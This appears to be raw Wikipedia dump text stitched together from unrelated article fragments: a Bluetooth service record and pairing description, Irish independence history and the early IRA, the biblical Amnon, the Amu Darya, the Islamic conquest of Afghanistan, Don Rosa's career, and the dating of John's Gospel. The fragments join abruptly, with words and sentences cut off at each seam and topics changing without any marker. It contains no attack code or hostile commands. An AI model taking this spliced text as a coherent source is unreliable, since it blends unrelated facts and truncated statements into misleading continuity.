Service Name: OBEX Object Push Service RecHandle: 0x10000 Service Class ID List: &quot;OBEX Object Push&quot; (0x1105) Protocol Descriptor List: &quot;L2CAP&quot; (0x0100) &quot;RFCOMM&quot; (0x0003) Channel: 9 &quot;OBEX&quot; (0x0008) Language Base Attr List: code_ISO639: 0x454e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: &quot;OBEX Object Push&quot; (0x1105) Version: 0x0100 Technical data used for managing the connection may also be extracted from a device. BD Address: 00:11:24:B3:50:FB Device Name: My little special laptop LMP Version: 2.0 (0x3) LMP Subversion: 0x7ad Manufacturer: Cambridge Silicon Radio (10) Features: 0xff 0xff 0x8f 0xfe 0x9b 0xf9 0x00 0x80 &lt;3-slot packets&gt; &lt;5-slot packets&gt; &lt;encryption&gt; &lt;slot offset&gt; &lt;timing accuracy&gt; &lt;role switch&gt; &lt;hold mode&gt; &lt;sniff mode&gt; &lt;park state&gt; &lt;RSSI&gt; &lt;channel quality&gt; &lt;SCO link&gt; &lt;HV2 packets&gt; &lt;HV3 packets&gt; &lt;A-law log&gt; &lt;CVSD&gt; &lt;paging scheme&gt; &lt;power control&gt; &lt;transparent SCO&gt; &lt;broadcast encrypt&gt; &lt;EDR ACL 2 Mbps&gt; &lt;EDR ACL 3 Mbps&gt; &lt;enhanced iscan&gt; &lt;interlaced iscan&gt; &lt;interlaced pscan&gt; &lt;inquiry with RSSI&gt; &lt;extended SCO&gt; &lt;EV4 packets&gt; &lt;EV5 packets&gt; &lt;AFH cap. slave&gt; &lt;AFH class. slave&gt; &lt;3-slot EDR ACL&gt; &lt;5-slot EDR ACL&gt; &lt;AFH cap. master&gt; &lt;AFH class. master&gt; &lt;EDR eSCO 2 Mbps&gt; &lt;EDR eSCO 3 Mbps&gt; &lt;3-slot EDR eSCO&gt; &lt;extended features&gt; === Pairing === Pairs of devices may establish a trusted relationship by learning (by user input) a shared secret known as a &quot;passkey&quot;. A device that wants to communicate only with a trusted device can [[cryptography|cryptographically]] [[authentication|authenticate]] the identity of the other device. Trusted devices may also [[encryption|encrypt]] the data that they exchange over the air so that no one can listen in. The encryption can however be turned off and passkeys are stored on the device's file system and not the Bluetooth chip itself. Since the Bluetooth address is permanent a pairing will be preserved even i
which was initially deeply unpopular among [[Irish nationalist]]s but which gained popularity following British mishandling of the aftermath, in turn leading to the electoral success of [[Sinn Féin]] in the [[Irish (UK) general election, 1918|1918 general election]], made implementation of the Act irrelevant. It was never implemented but was eventually replaced by the ''[[Government of Ireland Act 1920]]'', which was to give Home Rule separately to [[Northern Ireland]]) and to the remaining twenty-six counties, known as &quot;[[Southern Ireland]]&quot;. While Northern Ireland became a functioning political entity from 1921, Southern Ireland never functioned except on paper. ===Easter Rising=== {{main|Easter Rising}} [[Image:1916proc.jpg|right|thumb|The [[Easter Proclamation]]&lt;br&gt;&lt;small&gt;read by [[Padraig Pearse]] outside the GPO in 1916.&lt;/small&gt;]] [[Image:Patrick Pearse.jpg|left|thumb|Padraig Pearse&lt;br&gt;&lt;small&gt;head of the 'Provisional Government' proclaimed in the Easter Rising&lt;/small&gt;]] For what was initially a minority of nationalists, the home rule was judged to be too little, too late. In the [[Easter Rising]] of 1916, these nationalists staged a rebellion against British rule in Dublin and in some other isolated areas. Weapons had been supplied by [[Germany]] under the auspices of a leading human rights campaigner, Sir [[Roger Casement]]. However, the plot had been discovered and the weapons were lost when the ship carrying them, the [[Aud]], was scuttled to prevent the arms from falling into the hands of the British. The rebellion was largely centered in [[Dublin]]. The leaders seized the [[General Post Office (Dublin)|General Post Office]] (GPO), raising a green flag bearing the legend 'Irish Republic', and proclaiming independence for Ireland, though ironically some republicans in the GPO talked of making [[Prince Joachim of Prussia]] the [[King of Ireland]] if Germany won the First World War.{{ref|Lyons}} Many Irish people today believe that the Rising and its leaders had public support, but some historians dispute this view; there were calls for the execution of the ringleaders in the major Irish nationalist daily newspaper, the '[[Irish Independent]]', and local authorities also sought the ringleaders. They also claim that Dubliners not only cooperated with the British troops sent to quell the uprising, but undermined the Republicans as well. Many people spat, threw stones at them and emptied [[chamber pot]]s down on them as they were marched towards the transport ships that would take them to the [[Wales|Welsh]] internment camps. However, public opinion gradually shifted, initially over the summary executions of 16 senior leaders&amp;mdash;some of whom, such as [[James Connolly (nationalist)|James Connolly]], were too ill to stand&amp;mdash;and of other people thought complicit in the rebellion. As one observer described, &quot;the drawn-out process of executing the leaders of the rising, it was like watching blood seep from behind a closed door.&quot; Opinion shifted even more in favour of the Republicans in 1917-18 with the [[Conscription Crisis of 1918 (Ireland)|Conscription Crisis]], an attempt by Britain to impose conscription on Ireland to bolster its flagging war effort. A small [[monarchy|monarchist]] Irish party, [[Sinn Féin]], was widely, but wrongly, credited with orchestrating the Easter Rising, although the group advocated less-than-full independence at the time. The party's founder and leader, [[Arthur Griffith]], was campaigning for a [[dual monarchy]] with Britain, a return to the [[status quo]] of the ''[[Constitution of 1782]]'', enacted by the [[Irish Parliament]] under [[Henry Grattan]]'s Parliament. The Republican survivors of the Rising, under [[Eamon de Valera]], infiltrated and took over Sinn Féin, leading to a crisis of goals in [[1917]]. In a compromise agreed to at its ''[[Árd Fheis]]'' (party conference), Sinn Féin agreed to initially campaign for a republic. Having established one, it would let the electorate decide on whether to have a [[monarchy]] or a [[republic]]; however, if they chose a monarchy, no member of the British [[House of Windsor]] was to be eligible for the Irish throne. [[Image:cathalbrugha.JPG|frame|Cathal Brugha, TD&lt;br&gt;&lt;small&gt;''Príomh Aire'' (January-April 1919)&lt;br&gt;Long-term Minister for Defence and rival to Michael Collins.&lt;/small&gt;]] From 1916 to 1918, the two dominant nationalist movements, Sinn Féin and the [[Irish Parliamentary Party]], fought a tough series of battles in by-elections. Neither won a decisive victory; however, the [[Conscription Crisis]] tipped the balance in favor of Sinn Féin. The party went on to win a clear majority of seats in the [[Irish (UK) general election, 1918|1918 general election]]: of the 73 seats in which Sinn Féin were elected, 25 were uncontested. ==The emergence of the IRA after the Easter Rising== The first steps towards reorganizing the defeated Irish Volunteers were taken in [[27 October]] [[1917]] when a convention took place in [[Dublin]]. This convention, which subsequently became known as an IRA convention, was called to coincide with the Sinn Féin party conference. Nearly 250 people attended the convention; [[internment]] prevented many more from attending. In fact, the [[Royal Irish Constabulary]] estimated that 162 companies of volunteers were active in the country, although other sources suggest a higher figure of 390. The proceedings were presided over by [[Éamon de Valera]], who had been elected President of Sinn Féin the previous day. Also on the platform were [[Cathal Brugha]] and many others who were prominent in the reorganising of the Volunteers in the previous few months, many of them ex-prisoners. De Valera was elected president. A national executive was also elected, composed of provincial representatives (including Dublin). In addition, a number of directors were elected to head the various IRA departments. Those elected were: [[Michael Collins (Irish leader)|Michael Collins]] (Director for Organisation); [[Diarmuid Lynch]] (Director for Communications); [[Michael Staines]] (Director for Supply); [[Rory O'Connor]] (Director of Engineering). [[Seán McGarry]] was voted General Secretary, while Cathal Brugha was made Chairman of the Resident Executive, which in effect made him Chief of Staff. The other elected members were: [[M. W. O'Reilly]] (Dublin); [[Austin Stack]] ([[Kerry]]); [[Con Collins]] ([[Limerick]]); [[Seán MacEntee]] ([[Belfast]]); [[Joe O'Doherty]] ([[Donegal]]); [[Paul Galligan]] ([[Cavan]]); [[Eoin O'Duffy]] ([[Monaghan]]); [[Seamus Doyle]] ([[Wexford]]); [[Peadar Bracken]] ([[Offaly]]); [[Larry Lardner]] ([[Galway]]); [[Dick Walsh]] ([[Mayo]]) and another member from [[Connacht]]. There were six co-options to make-up the full number when the directors were named from within their ranks. The six were all Dublin men: [[Eamonn Duggan]]; [[Gearóid O'Sullivan]]; [[Fintan Murphy]]; [[Diarmuid O'Hegarty]]; [[Dick McKee]] and [[Paddy Ryan]]. Of the 26 elected, six were also members of the Sinn Féin National Executive, with Eamonn de Valera president of both. Eleven of the 26 were elected [[Teachta Dála|Teachta Dála]] in the [[United Kingdom general election, 1918|1918 general election]] and 13 in the May 1921 election. ==Dáil Éireann and the IRA== {{main|First Dáil}} Sinn Féin MPs elected in 1918 fulfilled their election promise not to take their seats in Westminster but instead set up an independent 'Assembly of Ireland', or ''[[First Dáil|Dáil Éireann]]', in the [[Irish language]]. On [[January 21]], [[1919]], this new, unofficial parliament assembled in the [[Mansion House, Dublin|Mansion House]] in Dublin. As its first acts, the Dáil elected a prime minister ([[Priomh Aire]]), [[Cathal Brugha]], and inaugurated a ministry called the [[Aireacht]]. In theory, the IRA was responsable to th Dail and was the army of the Irish Republic. In practice, the Dail had great difficulty controlling the actions of the Volunteers. [[Image:1stdailmeeting.JPG|300px|left|thumb|The first meeting of the First Dáil in 1919&lt;br&gt;&lt;small&gt;The War of Independence started the same day.&lt;small&gt;]] The new leadership of the Irish Republic worried that the IRA would not accept its authority, given that the Volunteers, under their own constitution, was bound to obey ''their'' own executive and no other body.{{ref|mac1}} The fear was increased when, on the very day the new national parliament was meeting, [[21 January]] [[1919]] the IRA, acting on their own initiative, killed two [[Royal Irish Constabulary]] constables (James McDonnell and Patrick O'Connell) by [[Seán Tracy (rebel)|Seán Tracy]] and [[Dan Breen]] while the South Tipperary IRA volunteer unit were seizing a quantity of [[gelignite]]. Technically, the men involved were considered to be in a serious breach of IRA discipline and were liable to be court-martialled, but it was considered more politically expedient to hold them up as examples of a rejuvenated militarism. The conflict soon escalated into [[guerrilla warfare|guerrilla]] warfare by what were then known as the ''[[Flying Columns]]'' in remote areas. Attacks on remote [[Royal Irish Constabulary]] (RIC) barracks continued throughout 1919 and 1920, forcing the police to consolidate defensively in the larger towns, effectively placing large areas of the countryside in the hands of the Republicans. [[Image:Dickmulc.jpg|thumb|[[Richard Mulcahy]].&lt;br&gt;&lt;small&gt;Mulcahy and [[Cathal Brugha]] helped redefine the relationship between the Aireacht and the IRA.&lt;/small&gt;]] Moves to make the IRA the army of the Dáil and not its rival had begun before the January attack, and were stepped up. On [[31 January]] the IRA organ, [[An t-Óglách]] published a list of principles agreed between two representatives of the Áireacht, acting Príomh Aire Cathal Brugha and [[Richard Mulcahy]] and the Executive
bsalom]]. Amnon was the progeny of David and [[Ahinoam]]. Tamar and Absalom were the progeny of David and [[Maachah]]. Thus Amnon and Absalom were half-brothers, like [[Abraham]]'s son's [[Ishmael]] and [[Isaac]]. Jewish law forbade Amnon to marry a half-sister, and taking evil advice he pretended to be sick. He lured Tamar into his quarters with the pretense that he wanted her to cook a special meal for him, ignored her protests and had sexual intercourse with her. Two years later, Absalom engineered Amnon's death. ==Books== *''The Rape of Tamar'', novel by Dan Jacobson (ISBN 1842321390) ==External links== *[http://calvarychapel.com/ccbcgermany/commentaries/1013.htm A Christian commentary on the incident and its aftermath] [[Category:Tanakh people]] [[de:Amnon]] [[gl:Amnón]] [[he:אמנון (דמות תנ&quot;כית)]] [[yi:אמנון]]</text> </revision> </page> <page> <title>Authoritarinism</title> <id>3066</id> <revision> <id>15901434</id> <timestamp>2004-09-12T19:25:52Z</timestamp> <contributor> <username>Steve Casburn</username> <id>38945</id> </contributor> <comment>re-directing page to proper spelling</comment> <text xml:space="preserve">#REDIRECT [[Authoritarianism]]</text> </revision> </page> <page> <title>Amu Darya</title> <id>3067</id> <revision> <id>41000049</id> <timestamp>2006-02-24T11:14:21Z</timestamp> <contributor> <username>John Hill</username> <id>179750</id> </contributor> <comment>a few small additions</comment> <text xml:space="preserve">[[Image:amu darya delta.jpg|thumb|300px|Amu Darya Delta from space, November 1994]] [[image:Aral_map.png|thumb|200px|Map of area around the Aral Sea. Aral Sea boundaries are circa 1960. Countries at least partially in the Aral Sea watershed are in yellow.]] The '''Amu Darya''' (also ''Amudarya'', ''Amudar'ya'', in [[Persian language|Persian]] &amp;#1570;&amp;#1605;&amp;#1608;&amp;#1583;&amp;#1585;&amp;#1740;&amp;#1575;; ''Darya'' means &quot;[[Sea]]&quot; in Persian and ''Amu'' means &quot;[[river]]&quot; in [[Turkic]]), is a river in [[Central Asia]]. It is navigable for over 1,450 km (800 miles). Its total length is 2,400 km (1,500 miles). In [[Classical Antiquity]], the river was known as the '''Oxus''' in [[Greek language|Greek]]. It rises in the [[Pamir Mountains]] as the '''Pamir River''', emerging from [[Zorkul]], flowing east until [[Ishtragh]], where it turns north and then east north-west through the [[Hindu Kush]] as the '''[[Panj]]''', forming the border of [[Afghanistan]] and [[Tajikistan]], and subsequently the border of Afghanistan and [[Uzbekistan]] for about 200 km, passing [[Termez]] and the [[Afghanistan-Uzbekistan Friendship Bridge]]. It follows the border of Afghanistan and [[Turkmenistan]] for another 100 km before it flows into Turkmenistan at [[Kerki]]. As '''Amudarya''', it flows across Turkmenistan south to north, passing [[Turkmenabat]], and forms the border of Turkmenistan and [[Uzbekistan]] from [[Khalkabad]]. It is then split into many waterways that used to form the [[river delta]] joining the [[Aral Sea]], passing [[Urgench]], [[Daşoguz|Dashoguz]] and other cities, but it does not reach what is left of the sea anymore and is lost in the desert. Use of water from the Amu Darya for [[irrigation]] has been a major contributing factor in the shrinking of the Aral Sea since the late [[1950s]]. Historical records state that in different periods the river flowed into the Aral Sea (from the south), the [[Caspian Sea]] (from the east) or both, similar to the [[Syr Darya]] ('''Jaxartes''', in [[Ancient Greek]]). ==See also== *[[Syr Darya]] *[[Transoxiana]] [[Category:Rivers of Afghanistan]] [[Category:Rivers of Turkmenistan]] [[Category:Rivers of Uzbekistan]] [[bg:Амударя]] [[cs:Amudarja]] [[de:Amudarja]] [[et:Amudarja]] [[es:Amu Daria]] [[eo:Amudarjo]] [[fr:Amou-Daria]] [[ko:아무다리야 강]] [[nl:Amu Darja]] [[ja:アムダリヤ川]] [[no:Amu Darya]] [[pl:Amu-daria]] [[ru:Амударья (река)]] [[sa:अमु दरिया]] [[sv:Amu-Darja]] [[vi:Amu Darya]] [[uk:Амудар'я]]</text> </revision> </page> <page> <title>Islamic conquest of Afghanistan</title> <id>3068</id> <revision> <id>41545486</id> <timestamp>2006-02-28T01:44:00Z</timestamp> <contributor> <username>Siddiqui</username> <id>308269</id> </contributor> <comment>/* External links */</comment> <text xml:space="preserve">{{History of Afghanistan}} ==The Islamic Conquest== [[Image:Age of Caliphs.gif|225px|thumb|left|The Age of the Caliphs]] In [[637]], five years after the death of the Islamic Prophet [[Muhammad]], [[Arab]] Muslims shattered the might of the [[Iran]]ian [[Sassanid Empire|Sassanians]] at the Battles of [[Battle of al-Qādisiyyah|al-Qādisiyyah]] and [[Nahavand]]. The invaders began to move towards the lands east of Iran: [[Herat]] was captured in 652. By 709 all of Aryana came under Arab control and encountered pockets of resistance from local tribesmen for centuries. In addition, [[Tang China]] and [[Tibet]] mounted an opposition to the Arab invasion to prevent their incursions into Central Asia. Central Asia and eastern Iran were nominally under Chinese soverignty for five years in the early eighth century. Native [[Persian language|Iranian]]-speaking Muslims and assimilated [[Khurasan]]i Arabs took power from the Arab elites in Damascus and Baghdad, and helped the local languages and much of the pre-Islamic Iranic culture survive. The Persians then annexed the regions around Kabul from the Hindu [[Shahi]]s as well. By the middle of the eighth century, the rising [[Abbasid Dynasty]] slowed Arab expansion and began a policy of consolidation. Peace prevailed under the rule of the Caliph [[Harun al-Rashid]] ([[785]]-[[809]]) and his successors and higher learning flourished in such [[Central Asia|Central Asian]] cities as [[Samarkand]] and [[Tashkent]]. [[Image:Biruni-russian.jpg|200px|thumb|Biruni commemorated on a Soviet stamp for his millennial anniversary.]] From the seventh through the ninth centuries, many inhabitants of what is present-day [[Afghanistan]], [[Pakistan]], southern parts of the former [[Soviet Union]], and areas of northern [[India]] were converted to [[Sunni Islam]]. However some small pockets of pre-Islamic peoples such as the Kafirs of [[Kafiristan]] (modern [[Nuristan]]) managed to remain untouched by the Muslim faith, and were not converted until 1896. It is surmised from the writings of [[Al Biruni]] that the Pashtuns and/or other local Afghans in eastern Afghanistan had not been completely converted. Al Biruni, writing in [[Tarikh al Hind]], also alludes to the eastern Afghans as being neither Muslim nor Hindu, but simply Afghans which may mean that the local population of eastern Afghanistan were pagans and animists not unlike the Kafirs and [[Kalash]] prior to the coming of Islamic invaders. In the eighth and ninth centuries ancestors of many of today's [[Turkic languages|Turkic]]-speaking Afghans settled in northern Afghanistan (partly to obtain better grazing land) near the modern borders with [[Uzbekistan]] and [[Turkmenistan]] and some may have begun to assimilate much of the [[Culture of Iran|Iranian]] culture and language of the [[Pashtun]] and [[Tajik]] tribes already present there (see [[Ghilzai]] for further details). By the middle of the ninth century, Abbasid rule went into decline, and semi-independent states began to emerge throughout the former Arab empire. In Central Asia, three short-lived, local dynasties ascended to power. The best known of the three, the [[Samanid Dynasty|Samanid]], extended its rule from [[Bukhara]] to as far south as the [[Indus]] and west into most of Iran. Although Arab Muslim intellectual life was still centered in [[Baghdad]], Iranian Muslim scholarship, that is, [[Shi'a Islam]], predominated in the Samanid areas at this time. By the mid-tenth century, the Samanid Dynasty had crumbled in the face of attacks from Turkish tribes to the north and from the [[Ghaznavids]], a rising Turkic dynasty in Afghanistan. == Ghaznavid and Ghorid Rule == Out of the [[Samanid Dynasty]] came the first great [[Islam]]ic empire of the region, the [[Ghaznavid Empire]], whose warriors, forged an empire that spanned much of Iranian plateau and Central Asia and conducted many successful raids into [[South Asia]]. Their military incursions assured the domination of [[Sunni Islam]] in what is now Afghanistan, [[Pakistan]], and parts of India. The most renowned of the dynasty's rulers was [[Mahmud of Ghaznavid|Mahmud]], who consolidated control over the areas south of the [[Amu Darya]] then carried out devastating raids into India - looting [[Hindu]] temples in his wake. With his booty from India, Mahmud built a great capital at [[Ghazni]], founded universities, and patronized scholars. Mahmud was recognized by the caliph in [[Baghdad]] as the temporal heir of the Samanids. By the time of his death, Mahmud ruled a vast empire that stretched from [[Kurdistan]] to the entire [[Hindu Kush]] region as far east as the [[Punjab region|Punjab]] as well as territories far north of the [[Amu Darya]]. However, as occurred so often in this region, the demise in [[1030]] of this military genius who had expanded the empire to its farthest reaches was the death knell of the dynasty itself. The [[Tajik]] rulers of the [[Ghowr|Kingdom of Ghor]] (also Ghur), southeast of [[Herat]], captured and burned Ghazni in [[1149]], just as the Ghaznavids had once conquered [[Ghor]]. Not until [[1186]], however, was the last representative of the Ghaznavids uprooted by the Ghorids (Ghurids) from his holdout in [[Lahore]], in the [[Punjab (Pakistan)|Punjab ]]. The Ghorids controlled most of what is now Afghanistan, eastern [[Iran]], Pakistan, and northern India, while parts of central and western Iran were ruled by the [[Seljuk Turks]]. From [[1200]] to [[1205]]
e:Vulle Vuojaš]] [[sr:Паја Патак]] [[fi:Aku Ankka]] [[sv:Kalle Anka]] [[zh:唐老鸭]]</text> </revision> </page> <page> <title>Don Rosa</title> <id>8927</id> <revision> <id>41627516</id> <timestamp>2006-02-28T16:59:17Z</timestamp> <contributor> <username>Haakon</username> <id>7745</id> </contributor> <minor /> <comment>if he wasn't famous he wouldn't have this article, no?</comment> <text xml:space="preserve">[[Image:drosa.jpg|thumb|300px|Don Rosa visiting [[Finland]] in 1999]] '''Gioachino 'Keno' Don Hugo Rosa''' (often just called '''Don Rosa''') is a writer and illustrator of stories about [[Scrooge McDuck]], [[Donald Duck]] and other [[The Walt Disney Company|Disney]] characters. He was born on [[June 29]], [[1951]] in [[Louisville, Kentucky]], [[United States]]. He is considered by many to be the greatest Disney comics artist since [[Carl Barks]]. His most famous work is ''[[The Life and Times of Scrooge McDuck]]''. ==History== The name ''Don Rosa'' originates from [[Italy]]. His grandfather, Gioachino Rosa, lived in Maniago, a small village at the foot of the [[Alps]] in [[Northern Italy]], in the province of [[Pordenone]]. Gioachino Rosa emigrated to [[Kentucky]], [[United States]] in [[1915]] just after the birth of his son Hugo Rosa. Hugo Rosa was later married in Kentucky. His wife was born to a [[German American]] father and a mother with both Scottish and Irish ancestry. Hugo Rosa and his wife became parents to Keno Don Hugo Rosa on June 29, 1951. The boy was named after both his father and grandfather. Gioachino was called 'Keno' for short. ===Childhood=== Don Rosa had always been fond of making cartoons. Don began drawing comics before being able to write. But he was always mostly focused on the story. The drawings were just mere illustrations to get the story told. Until high school his featured characters were mostly small men called Holey and Joe. His favourite comic books while growing up were reportedly ''[[Uncle Scrooge]]'' by [[Western Publishing]] and the [[Superman]] titles by [[DC Comics]]. He entered the [[University of Kentucky]] in [[1969]]. He graduated in [[1973]] with a Bachelor of Arts degree in [[civil engineering]]. ===First Cartoons=== His first real cartoon was a comic strip featuring his own character, Lancelot Pertwillaby. He created the strip in [[1971]] for ''[[The Kentucky Kernel]]'', a college newspaper of the University of Kentucky which wanted the strip to focus on political satire. Don later talked them into letting him feature adventures starring Lancelot Pertwillaby and drew the story ''Lost in (an alternative section of) the Andes''. (The title being a reference to ''[[Lost in the Andes]]'', a Donald Duck story by Carl Barks, first published in April, [[1949]].) The so-called ''Pertwillaby Papers'' included 127 published episodes by the time Rosa graduated. Meanwhile Don participated in a [[fanzine]]. His contribution was ''An Index of Uncle Scrooge Comics''. According to his introduction: ''&quot;Scrooge being my favourite character in comic history and Barks my favourite pure cartoonist, I'll try not to get carried away too much.&quot;'' After receiving his bachelor degree, Don continued to draw comics as a side job. He did not earn very much though from his creations. His main source of income came from working in the ''Keno Rosa Tile Company'', a company founded by his paternal grandfather which had by that time been taken over by Hugo Rosa. He was a columnist of the fanzine ''&quot;The Rocket's Blast Comicollector&quot;'' from [[1974]] to [[1979]]. He also revived the ''Pertwillaby Papers'' from [[1976]] to [[1978]]. Don took a chance at more professional cartooning with his creation of comic strip character &quot;Captain Kentucky&quot; for the Saturday edition of the local newspaper ''Louisville Times''. Captain Kentucky was the superhero alter ego of Lancelot Pertwillaby. Publication started on [[October 6]], [[1979]]. The comic strip ended on [[August 15]], [[1982]] after the publication of 150 episodes. After three years with Captain Kentucky, Don decided that it was not worth the effort. He retired from cartooning and did not draw a single line for the next four years. Years later, as his fame grew, his non-Disney work was published by the Norwegian publisher [[Gazette Bok]] in [[2001]], in the two hard-cover books ''The Pertwillaby Papers'' and ''The Adventures of Captain Kentucky''. ===Marriage=== Don married schoolteacher Ann Payne in [[1980]]. The couple remains together as of [[2006]]. ===Working for Gladstone=== In [[1985]], he discovered a [[Gladstone]] comic book in the window of a small comic shop. This was the first American comic book that contained [[The Walt Disney Company|Disney]]-characters after the [[1970s]]. Since early childhood Don Rosa had been fascinated by Disney stories about [[Donald Duck]] and [[Scrooge McDuck]]. Artist [[Carl Barks]] was an especially big idol for him and would remain so for the rest of his career. He immediately called the editor, [[Byron Erickson]], and told him that he was the only American who was born to write and draw Scrooge McDuck comics. Byron agreed to let him send a story, and Don Rosa started drawing his first Duck story: ''Son of the Sun'' the very next day. ''Son of the Sun'' was a huge success and was even nominated for a Harvey Award (the comics equivalent of the Academy Awards). The plot of the story was exactly the same as his earlier story ''Lost in (an alternative section of) the Andes''. As Don Rosa formulated it, he was just &quot;(...) turning that old Pertwillaby Papers adventure back into the story it originally was in my head, starring Scrooge, Donald, [[Huey, Dewey and Louie Duck|the nephews]], and [[Flintheart Glomgold]].&quot; Don Rosa did a few more comics for Gladstone till [[1989]]. He then stopped working for them because the policies of their licensor Disney did not allow for the return of original art for a story to its creators. This was unacceptable to Don Rosa, since a part of his income came from selling the originals. Without that extra money, he could not make a living drawing comic books. After making some stories for the Dutch publisher [[Oberon]], the publishers of an American Disney children's magazine called ''[[DuckTales]]'' (based on of the animated series of the same name) offered him employment. They even offered him a much higher salary than the one he received at Gladstone. Don made just one script (''Back in Time for a Dime''). The publishers never asked him to make more, and due to problems with receiving the payment, he didn't care. ===Working for Egmont=== After working with the DuckTales magazine, Rosa found out that the Danish publisher [[Egmont (media group)|Egmont]] (at that time called Gutenberghus) had been publishing reprints of his stories and wanted more of them. Don joined Egmont in [[1990]] along with Byron Erickson, the former editor at Gladstone and has been working there as a freelancer since then. In [[1991]] he started creating ''[[The Life and Times of Scrooge McDuck]]'', a twelve chapter story about his favorite character. The series was a huge success, and in [[1995]] he won an [[Eisner Award]] for best continuing series. After the end of the original series, Don started producing additional &quot;missing&quot; chapters. Some of the extra chapters were turned down by Egmont because they were not interested in any more episodes. Fortunately, the French publisher [[Picsou]] was eager to publish the stories. From [[1999]], Don started working freelance for Picsou as well. During early summer [[2002]], Don Rosa suddenly laid down work. As an artist he could not live under the conditions Egmont was offering him, but he did not want to give up making Scrooge McDuck comics either. So his only choice was to put down work for a while and try to come to an agreement with Egmont. His main issues were that he had no control over his works. Don had discovered far too often that his stories were printed with incorrect pages of art, improper colors, poor lettering, or pixilated computer conversions of the illustrations. Another matter was that his name was used in promotion of books and collections of stories without his agreement and without sending royalties to him. He came to an agreement with Egmont in December of the same year, which gave him a bit more control over the stories and the manner in which they were publicized. Don remains popular with readers across Europe but considers himself rather obscure in his native United States, an irony worthy of a satirical artist. ==His Work== [[Image:DonRosaComicsandStories.jpg|thumbnail|200px|Don Rosa's Comics and Stories #1]] In [[Europe]], Don Rosa is recognized as one of the best Disney comics creators ever. [[Carl Barks]] and Don Rosa are the only two artists who have their name written on the covers of Disney magazines when their stories are published. His stories are very easily recognized due to his unique drawing style, his pictures being extremely detailed. Rosa enjoys including subtle references to his favourite works of fiction as well as his own previous work. He normally uses about 12 frames per page, instead of the more common 8. He needs to use the extra frames because his stories usually are too long to be published if he does not minimize them. Don Rosa has a huge following in [[Finland]], and in 1999, he created a special 32-page Donald, Scrooge, Gearloose &amp; nephews strip for his Finnish fans; ''Sammon Salaisuus'' (translates to ''The secret of the [[Sampo]]'', but it is officially named ''[[The Quest for Kalevala]]'' [http://scoop.diamondgalleries.com/scoop_article.asp?ai=6377&amp;si=124] in English), based on the Finnish national epic, the [[Kalevala]]. It was published in many other countries as well. The cover for the comic book was a spoof of a famous painting by [[Akseli
8) and a conclusion (John 21) could have been added as an afterthought, kind of like how one might write a thesis. Conservative scholars state that taking the canons of literature in the first century Greek, looking at external evidences (that there is extensive use of John by Justin Martyr, Polycarp, Papias, Polycarp, Irenaeus, and Ignatius (the early church) (cf. Green-Armytage, A. H. N. '' John Who Saw'', pp. 59-80)), and considering internal evidences (such as lack of the mention of the destruction of the temple and mention of the “Sheep Gate,” prior to the destruction of Jerusalem), there is sufficient evidence and general consensus that this Gospel was composed before 100 AD and as early as 50-70AD. Barrett (cf. Barrett, C. K. ''The Gospel According to St. John.'', p.108-109) suggests an earliest date of 90AD, based on familiarity with Mark’s gospel, and the late date of a synagogue expulsion of Christians (which is a theme in John). Morris (cf. Morris, L. ''The Gospel According to John'' p.59) suggests 70AD, given Qumran parallels and John’s turn of phrases (usage of “his disciples” vs. “the disciples”). The author probably knew about the Synoptic tradition, since much of his material is independent of it, providing another perspective on Christ. Paul used this material extensively in his epistles, which also favors an earlier date, perhaps the early or mid 50s; J.A.T. Robinson (cf. Robinson, J. A. T. ''Redating the Gospels'', pp. 284, 307) agrees with this, proposing an initial edition by 50-55AD and then a final edition by 65AD. Like the other gospels, ''John'' was certainly based on previous texts now lost. The contemporary scholar of the Johannine community, [[Raymond E. Brown]], identifies three layers of text in the Fourth Gospel (a situation that is paralleled by the [[synoptic gospel]]s): 1) an initial version Brown considers based on personal experience of Jesus; 2) a structured literary creation by the evangelist which draws upon additional sources; and 3) the edited version that readers know today (Brown 1979). A fragmentary scrap of papyrus discovered in Egypt in [[1920]], now at the [[John Rylands Library]], [[Manchester]], accession number P52 (see link below), bears parts of John [http://www.biblegateway.com/passage/?search=John%2018:31-33;&amp;version=31; 18:31-33] on one side and [http://www.biblegateway.com/passage/?search=John%2018:37-38;&amp;version=31; 18:37-38] on the other. If it has been correctly dated to the first half of the second century (by C. F. Roberts), it ranks as the earliest known fragment of the New Testament in any language. Fuller details are at the entry on the [[Rylands Library Papyrus P52]]. Skepticism about the date (not about the fragment's authenticity) is based on two issues. First, no other scrap of Greek has ever been so narrowly dated based on the handwriting alone, without the support of textual evidence. Second, this fragment is not from a scroll but from a [[codex]]: a bound book not a roll. If it dates to the first half of the second century, this fragment would be an uncharacteristically early example of a codex, the form that superseded the scroll. Since this fragment is small&amp;mdash;about nine by five centimeters&amp;mdash; it is uncertain whether it comes from a full copy of the ''John'' that we know. Nevertheless, while some experts in [[paleography]] have objected to the dating, it is agreed that this piece of papyrus is the earliest text for any portion of the New Testament. Its closest rival in date is the [[Egerton Gospel]], a mid-second-century fragment of a codex that records a gospel not identical to any of the canonical four, but which has closer parallels to ''John'' than with the synoptic gospels. Thus the Egerton Gospel may represent a less-developed example of the same tradition (though of a slightly later date). Brent Nongbri writes in the conclusion to the essay &quot;The Use and Abuse of P52: Papyrological Pitfalls in the Dating of the Fourth Gospel&quot; (''Harvard Theological Review'' 98 [2005], page 48): :&quot;What emerges from this survey is nothing surprising to papyrologists: paleography is not the most effective method for dating texts, particularly those written in a literary hand. Roberts himself noted this point in his edition of P52. The real problem is the way scholars of the New Testament have used and abused papyrological evidence. I have not radically revised Roberts's work. I have not provided any third-century documentary papyri that are absolute &quot;dead ringers&quot; for the handwriting of P52, and even had I done so, that would not force us to date P52 at some exact point in the third century. Paleographic evidence does not work that way. What I have done is to show that any serious consideration of the window of possible dates for P52 must include dates in the later second and early third centuries. Thus, P52 cannot be used as evidence to silence other debates about the existence (or non-existence) of the Gospel of John in the first half of the second century. Only a papyrus containing an explicit date or one found in a clear archaeological stratigraphic context could do the work scholars want P52 to do. As it stands now, the papyrological evidence should take a second place to other forms of evidence in addressing debates about the dating of the Fourth Gospel.&quot; There are other theories of authorship. One of the most dramatic is the claim by Ramon K. Jusino that ''John'' was written by [[Mary Magdalene]]. [http://www.beloveddisciple.org/ &quot;Mary Magdalene, author of the Fourth Gospel?'], 1998, available on-line. The Austrian philosopher, Goethean scholar and founder of [[anthroposophy]] [[Rudolph Steiner]] argues that John, the author of the fourth gospel, and the ressurected [[Lazurus]] are one and the same person. See Rudolph Steiner's book 'The Gospel of John'. '''Place.''' The Gospel has no clues as to the exact location, so it is unknown. Leon Morris (Morris, L. ''The Gospel According to John'' p.60) 